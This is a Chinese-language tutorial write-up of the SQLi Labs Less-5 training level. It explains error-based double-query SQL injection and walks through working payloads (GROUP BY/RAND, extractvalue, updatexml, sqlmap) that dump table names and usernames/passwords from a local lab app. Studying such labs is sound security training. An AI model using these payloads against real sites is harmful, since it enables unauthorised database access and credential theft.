2017年前后我系统刷SQLi Labs靶场,从Less-1一路打到Less-4都很顺,那几个关卡的本质都是“联合查询结果直接回显”,单引号、数字型、括号闭合、双引号的花样再多,只要union能出数,思路就固定。真正让我卡住的是Less-5,也就是sqlilabs靶场里被人反复提起的“双查询注入”关卡。打开页面,传id=1、id=2、id=3,页面永远只回一句“You are in...........”,完全不跟你展示任何查询结果。这一关官方归类是Double Injection - Single Quote,核心要解决的是:当页面不回显数据库内容时,如何利用MySQL的报错机制把数据“带”出来。
这篇笔记适合正在刷sqlilabs的新手,也适合对报错注入原理一知半解、想补底层逻辑的人。我会把Less-5从闭合探测、双查询payload构造、数据提取全流程拆开讲,最后附上我实际操作中踩过的坑和排查思路。
1. 关卡概述与核心需求解析
1.1 为什么Less-5突然变难了
前四关的页面会把SQL查询结果直接渲染出来,比如id=1时页面出现用户名和密码,id=2时出现另一条。你注入一个union select,数据就出现在页面上,属于“看得到就是看得到”。
但Less-5的设计变了:它把查询结果彻底屏蔽了,页面只剩一个固定的“You are in...........”。这种行为在真实环境里非常常见,某个后台接口只返回“成功”“失败”,或者只返回固定的提示文字,但背后确实执行了SQL查询。作为测试者,你会进入一个尴尬局面——明明存在注入点,却看不见目标数据。
Less-5的Header写着“Double Injection - Single Quote”,也就是“单引号闭合的双查询注入”。这一关要训练的核心能力,是把MySQL的报错信息当成输出通道。MySQL在特定条件下会抛出包含查询内容的错误提示,我们要做的,就是构造一条SQL,让MySQL在报错的同时把数据“吐”出来。
1.2 这关要训练的核心能力
拆开来看,Less-5其实包含两个独立的小挑战。
第一个小挑战是判断闭合方式。这里用的是单引号字符串闭合,你传?id=1',页面会崩出SQL语法错误,报错片段能看到查询语句的尾部是LIMIT 0,1,引号位置也暴露了闭合关系。第二个小挑战是放弃union思路,转向“让数据出现在报错里”。
很多人在前四关刷得飞快,到这里突然觉得使不上力,本质上是思维惯性作祟——只知道页面回显才叫注入,不知道报错本身也是输出。Less-5的存在意义,就是把大家从“看得见结果”的舒适区拽进“看不见结果”的实战场景。你可以用布尔盲注慢慢猜,但效率实在太低;你应该学会用报错注入,一条SQL就把目标数据整个带出来。
2. 双查询注入原理解析
2.1 把数据变成分组键的巧妙思路
双查询注入最经典的payload长这样:
?id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)--+我第一次看到这个payload的时候也发懵,内部套了两层子查询,还夹杂着CONCAT、FLOOR、RAND、GROUP BY。要理解它,从外往里剥。
我们的目标是把database()结果拼进一个会参与报错的字段。这里选择了一个巧妙的载体:分组键。在SQL里,GROUP BY x会按x的值进行分组统计,MySQL执行时会维护一个分组表,分组的键值就是x。如果我们让x等于“库名+一个随机数”,那么分组过程中,只要同一个键值出现两次,MySQL就会认为分组重复。
外层套一个SELECT COUNT(*) FROM (刚才那段) a,是为了物化这个分组过程。内层从information_schema.tables取足够多的行,目的是让分组键有足够多的重复机会,触发Duplicate entry报错。
2.2 CONCAT+FLOOR+RAND(0)三件套为什么缺一不可
把这段单独拎出来看:
CONCAT((SELECT database()), FLOOR(RAND(0)*2)) xCONCAT把我们要的库名和一个数字拼接成字符串,比如security1、security0。这个拼接后的字符串被当作x,参与GROUP BY。
关键点在于FLOOR(RAND(0)*2)这部分。RAND()生成0到1之间的小数,RAND(0)是带固定种子0的随机函数,它生成的随机序列是确定的,不会每次刷新都不一样。乘以2再向下取整,结果就是0或1。数字0或1的意义是:让分组键变成“库名+不同后缀”。由于RAND(0)序列在MySQL内部会被重复计算,同一个分组键会在扫描过程中被判定为不同的值,最终导致两个本应相同的键发生了冲突,MySQL抛出的错误就是:
Duplicate entry 'security1' for key 'group_key'这个报错信息里恰好带了库名security。这就是双查询注入的全部秘密——用分组冲突把数据带进报错里。
如果不用RAND(0)而直接写RAND(),随机序列每次都不一样,触发冲突的概率不稳定,经常刷新几次就报不出错。写死种子0,是在保证“可复现的剧情”,让冲突必然发生。
2.3 从双查询到报错函数:两条替代路线
GROUP BY双查询这一招虽然经典,但payload长、易出错。MySQL还提供了两个更简洁的报错函数,在Less-5里同样致命。
?id=1' AND extractvalue(1, concat(0x7e, (select database()), 0x7e))--+ ?id=1' AND updatexml(1, concat(0x7e, (select version()), 0x7e), 1)--+原理是:extractvalue和updatexml的第二个参数要求是合法的XPath格式字符串,当我们传入的字符串不是合法XPath时,MySQL抛出XPath syntax error,错误消息里原样带出整个字符串。0x7e是十六进制的波浪号~,主要用来给数据前后加边界,方便人眼分辨哪些是目标数据。
这两个函数返回的报错信息最长只有32个字符左右,数据较长时可以用substr()分段截取:
?id=1' AND extractvalue(1, concat(0x7e, substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), 1, 30)))--+3. 整个通关过程实录
3.1 探测注入点与闭合方式
进入Less-5,访问http://127.0.0.1/sqli-labs/Less-5/?id=1,页面显示“You are in...........”。先做基础探测。
访问?id=1',页面直接抛出SQL语法错误:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1这段报错有两个关键信息:SQL的末尾带LIMIT 0,1,说明查询只取一条结果;引号的闭合方式是单引号,也就是说原SQL结构大概是:
SELECT * FROM users WHERE id='$id' LIMIT 0,1接着访问?id=1' --+,页面恢复“You are in...........”,说明注释符生效,注入点确认成立。
至此能判断:虽然页面看不到结果,但闭合方式和Less-1是一样的。如果用union,由于最终只回显静态文本,所以我们不采用,直接上双查询。
3.2 构造并验证第一条双查询payload
闭合确认后,先打一条最简单的双查询payload验证报错机制:
?id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)--+页面返回:
Duplicate entry 'security1' for key 'group_key'这一步完成两件事:确认双查询注入可用;直接拿到当前数据库名security。这个验证动作相当重要,别上来就急着查表,先确认“报错通道”是通的。
3.3 库名→表名→字段名→数据全流程
数据库名已经到手,接下来按标准信息收集顺序走:库名→表名→字段名→数据。
取表名:
?id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)--+页面返回:
Duplicate entry 'emails1' for key 'group_key'第一个表名是emails。依次修改LIMIT 0,1为LIMIT 1,1、LIMIT 2,1继续枚举,security库后续会出现referers、uagents、users等表,其中users表才是目标。
取users表的字段名:
?id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)--+按偏移依次能得到id、username、password三个字段。
取数据:
?id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT CONCAT(username,0x7e,password) FROM users LIMIT 0,1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)--+页面返回类似:
Duplicate entry 'Dumb~Dumb1' for key 'group_key'第一行记录的用户名密码就出来了。后面的记录通过修改LIMIT偏移逐条取。我建议新手手工测三条左右,体会一下报错结构的变化,再考虑上脚本。
3.4 报错函数的替代操作实录
我在笔记里还记录了用extractvalue和updatexml的替代打法,在Less-5里效果更简洁:
?id=1' AND extractvalue(1, concat(0x7e, (select database()), 0x7e))--+返回:
XPATH syntax error: '~security~'执行成功的体验比双查询舒服很多,因为不用套子查询,也不用考虑GROUP BY的随机序列。我的建议是两条路线都练一遍,既学了双查询的底层机制,又掌握了更轻量的工具函数,实战中哪个版本支持哪个优先用哪个。
4. 实战中常见问题与排查技巧
4.1 页面空白,没有报错是不是就不存在注入
我在刷Less-5时遭遇最多的现象就是页面一片空白,既没有报错,也没有页面原文。出现这种情况,先别急着下“无注入”结论,按顺序排查三件事。
第一,检查URL编码。双查询payload里有空格、逗号、括号、单引号,直接丢进地址栏,可能被浏览器或服务端解析掉。最稳妥的办法是用Burp Suite的Repeater发送,或者把空格替换成+,在GET参数里+会被解析为空格。
第二,确认MySQL版本。Less-5的报错机制依赖MySQL 5.x的特定行为,如果本地环境是MySQL 8.0以上,很多分组冲突的报错条件会发生变化,Duplicate entry不再触发。sqlilabs官方环境用的是5.7.x或5.6.x,我用下来体验最稳定的是PHPStudy里带的MySQL 5.7。
第三,检查注释符。Less-5的闭合是单引号,payload尾部要用--+或#,注意--后面必须跟一个空格,写成--+是为了利用URL里的加号代表空格。如果注释符出错,后面的内容会被当成字符串,整个payload直接失效。
4.2 RAND(0)与RAND()对触发结果的影响
这是新手最容易忽略的坑。网上很多payload都写RAND(0)*2,有人想着把0去掉省事,直接写FLOOR(RAND()*2),结果就是报错时灵时不灵。
原因在于,RAND()每次生成的都是随机序列,MySQL在GROUP BY过程中对同一个分组键会重复求值,随机值一变,分组键就跟着变,冲突能不能触发完全看运气。RAND(0)传入固定种子0,序列是确定的,生成的0/1序列有规律,重复求值时必然会出现两次相同的键,于是Duplicate entry就能稳定触发。
简单讲,RAND()像开盲盒,RAND(0)像按剧本走流程,剧本表演次数够多,冲突一定出现。
4.3 报错被截断的“切香肠”处理法
双查询和extractvalue的报错信息在MySQL里显示长度大约32个字符,超过就会被截断。比如用group_concat把所有表名拼在一起,几十个字符的报错信息只显示一小截,看起来像数据不全,其实是被截断了。
解决办法是分段取。双查询本身支持LIMIT,可以用偏移量一条条取,每次只取一条记录,报错信息永远在32字符内;用group_concat拼接时,可以配合substr()切区间,每次取30个字符,再手工拼接完整结果。
我在笔记里管这个方法叫“切香肠”。在Less-5里如果不会切,取长字段时会非常痛苦,建议一拿到库名就先练一次分段取table_name的过程。
4.4 从Less-5到相邻关卡的递进关系
Less-5之后,sqlilabs设计了一条清晰的“无回显注入”梯度训练路线。
Less-6是双引号闭合的双查询注入,逻辑与Less-5几乎一样,但闭合字符从单引号变成双引号,主要锻炼“换一种闭合就换一条payload”的应变能力。Less-7是导出文件型注入,考验的是能不能把查询结果写入服务器文件。Less-8是纯布尔盲注,完全没有报错,只能靠and 1=1与and 1=2的页面差异判断。Less-9是时间盲注,连布尔差异都不给你,只能等sleep()的延时反馈。
这五个关卡连起来,是一套完整的“看不见数据也能拿数据”的训练链路。我个人的建议是,每关都用同一个数据提取目标跑一遍,这样对比着学,印象会深很多。
5. 经验心得与扩展方向
5.1 手工优先,脚本靠后
刷Less-5,我强烈建议先手工把三条payload各打一遍再去碰sqlmap。一条是验证闭合,一条是双查询报错,一条是extractvalue报错。三条都通了,说明原理过关。
之后再考虑用sqlmap提速,而且要用--technique=E专门跑error-based注入:
sqlmap -u "http://127.0.0.1/sqli-labs/Less-5/?id=1" --technique=E --dbs脚本工具能帮我们自动化,但原理没吃透,出偏差时你根本不知道它为什么这么跑,排查起来会非常吃力。先手后脚,这是我一直以来的习惯。
5.2 输出通道思维
我在授权测试中回头反思Less-5,最大的收获并不是背会了一个payload,而是建立了一个思维模型:判断一个注入点能走哪条路,最终取决于“数据能从哪个输出通道出来”。
页面回显正常,走union;页面不回显,看报错;报错被关闭,试布尔;布尔无差异,用延时。输出通道的优先级判断,让我在后来的代码审计测试中少走了很多弯路,也会更快判断一个注入点的可利用程度。
5.3 值得深挖的延伸学习路线
如果Less-5刷通了,我还有几个延伸建议。第一,去读一读MySQL官方的RAND函数文档,理解固定种子的数学意义,这对理解其他随机类注入也有帮助。第二,研究一下information_schema库的常用视图,table_name、column_name这些字段要形成肌肉记忆。第三,把前面建议的Less-6到Less-9刷完,不用急,每天一关,组合起来对“无回显注入”的理解会有质的提升。
最后分享一个我的个人习惯:每刷一关靶场,我会把运行的主要payload和对应的报错结果保存到本地笔记,标注“为什么这么写”和“如果失败了先查什么”。这比保存几十个链接更有用,因为报错注入的东西,过一阵子不看真的会手生。Less-5这份笔记,就是我这样沉淀下来的。